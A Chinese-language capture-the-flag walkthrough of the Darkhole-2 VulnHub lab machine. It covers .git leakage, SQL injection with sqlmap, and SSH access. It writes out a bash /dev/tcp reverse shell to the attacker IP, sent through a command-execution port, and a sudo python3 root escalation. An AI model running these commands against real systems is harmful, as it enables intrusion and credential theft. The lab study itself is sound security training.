**声明:**文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究
靶机信息
靶机名称: Darkhole-2
下载地址:
https://www.vulnhub.com/entry/darkhole-2,740/
难度: 难
发布时间: 2021年9月3日
提示信息:
Hint: Don't waste your time For Brute-Force
提示: 不要浪费你的时间去使用蛮力
*****此靶机请使用VMware虚拟机*****
实验环境
攻击机:VBox kali 192.168.7.3
靶机:VMware linux IP自动获取
信息收集
扫描主机
nmap -sP 192.168.7.1/24
扫描端口
nmap -sC -sV -p- 192.168.7.102 -oN DarkHOle-2.nmap
扫描到开放22端口和80端口,并且nmap扫到.git目录,现在先从80端口开始
Web渗透
http://192.168.7.102
有一个登录链接,打开看看
http://192.168.7.102/login.php
页面里有些提示,应该是开发留下测试内容,既然nmap扫描时已经提示存在.git文件夹,那我们就看一下
http://192.168.7.102/.git
简单科普一下.git文件夹是什么
git是一个开源的分布式版本管制系统开发工程师们更新代码后会将代码上传到git服务上,此时代码项目目录里会保存一个.git的目录,这个目录里面就是代码的每次更新提交的内容(说错了不要骂我)
好了现在我们已经了解.git是怎么来的,但是怎么利用呢
Git信息泄漏利用
GitHack
GitHack是专门针对.git目录泄露的利用脚本,可以还原项目提交的内容
GitHack项目地址:
https://github.com/lijiejie/GitHack/
下载GitHack
git clone https://github.com/lijiejie/GitHack.git
攻击
python GitHack.py http://192.168.7.102/.git
这里需要使用pytnon2版本
完成后会在当前目录下生成一个以目标地址作为名称的文件夹
ll
进入看一下内容
cd 192.168.7.102
tree
根目录下有4个php文件分别来看一下内容(本来是拷贝的原码,后来发现不需要代码审计就改成截图了)
index.php
dashboard.php
login.php
logout.php
config目录下还有个config.php,里面有mysql数据库的帐号和密码
<?php
$connect = new mysqli("localhost","root","","darkhole_2");
还以为是要考代码审计,分析一波后没发现有用的信息(又翻车了)
login.php文件下有sql语句但测试后不成功,那我们换一种方法处理.git"分析log/head"
git log分析
用git log命令查看提交记录从而分析旧版本中存在的漏洞,查看git log需要用到工具git-dumper
git-dumper安装
项目地址
https://github.com/arthaud/git-dumper
git clone https://github.com/arthaud/git-dumper.git
cd git-dumper
pytno3 -m pip install -r requirements.txt
安装成功,现在把.git下载下来(注意,由于隔了一天靶机重启后自动获取的IP变了,后面靶机地址均为192.168.7.103)
python3 git-dumper.py http://192.168.7.103/.git/ website
进入website目录查看提交日志
cd website
ls
git log
可以看到这里有3次提交,第2次添加了login.php,第3次变更了login.php的源码,看先第2次提交的
git diff a4d900a8d85e8938d3601f3cef113ee293028e10
第2次提交的内容里有个帐号密码"lush@admin.com;321"我们拿来登录网站试试
sql注入
成功登录页面上有只提交和退出按钮,url上面有个id=1,可能会存在sql注入,测试下
sqlmap
注意需要cookie才能注入,如果不带会告诉你没权限,浏览器中按右键点击检查会出现开发者工具界面,按下图在右边找到cookie
sqlmap -u http://192.168.7.103/dashboard.php?id=1 --cookie PHPSESSID=sdofembta5jp49dppnqpubuvu6 --batch
检查到注入点,现在查询数据库名
sqlmap -u http://192.168.7.103/dashboard.php?id=1 --cookie PHPSESSID=sdofembta5jp49dppnqpubuvu6 --batch --dbs
5个数据库,很明显我们要找的是darkhole_2,开始查询表名
sqlmap -u http://192.168.7.103/dashboard.php?id=1 --cookie PHPSESSID=sdofembta5jp49dppnqpubuvu6 --batch -D darkhole_2 --tables
查到两个表名,每个都看看
先查users表
sqlmap -u http://192.168.7.103/dashboard.php?id=1 --cookie PHPSESSID=sdofembta5jp49dppnqpubuvu6 --batch -D darkhole_2 -T users --dump
表里只存了一条刚刚登录的帐号密码,再查ssh名,看这个名字就知道,可以用来登录ssh
sqlmap -u http://192.168.7.103/dashboard.php?id=1 --cookie PHPSESSID=sdofembta5jp49dppnqpubuvu6 --batch -D darkhole_2 -T ssh --dump
user:jehad
pass:fool
暴出ssh帐号和密码了,登录ssh吧
ssh jehad@192.168.7.103
SSH登录成功,来看看用户目录下面有什么
ls -l
用户目录下没有flag文件一般不会出现这种情况,然后随手看了下.bash_history文件内容
cat .bash_history
netstat -ntlp
发现大量9999端口的操作记录,看上去明显是命令执行程序和反弹shell的命令,随后检查开放端口发现9999仍然开放的,那就来利用一下吧
curl "http://localhost:9999/?cmd=id"
返回的不是root而是losy用户,那我们看看losy目录下有什么
cd /home
ls
cd /losy
ll
cat user.txt
拿到losy用户flag
DarkHole{'This_is_the_life_man_better_than_a_cruise'}
刚刚切换目录时时还发现两个用户目录,查看下没有发现可利用的信息
权限提升
命令执行提权
反弹SHELL
估计要我们先提权到losy权限,利用9999端口反弹shell拿losy权限
kali攻击机监听4444端口
nc -lvvp 4444
靶机执行反弹shell
http://localhost:9999/?cmd=bash -c 'bash -i >& /dev/tcp/192.168.7.3/4444 0>&1'
因为是url提交,所以需要先url编码再提交
curl "http://localhost:9999/?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.7.3%2F4444%200%3E%261%27"
反弹成功,切换到完整交互shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z
stty -a
stty raw -echo;fg
reset
stty rows 21 columns 137
已经切换成完整交互shell了,刚刚在.bash_history获取到大量信息,那就继续看看losy目录下的.bash_history有什么
cd
cat .bash_history
sudo -l提权
查到类似密码的内容,还有执行过sudo -l, 让我们来试试
sudo -l
输入密码gang
密码正确,可以直接用python3提权
sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")'
id
cd /root
ls
cat root.txt
拿到root权限flag,游戏结束
END
这篇文章到这里就结束了,喜欢打靶的小伙伴可以关注"伏波路上学安全"微信公众号,或扫描下面二维码关注,我会持续更新打靶文章,让我们一起在打靶中学习进步吧.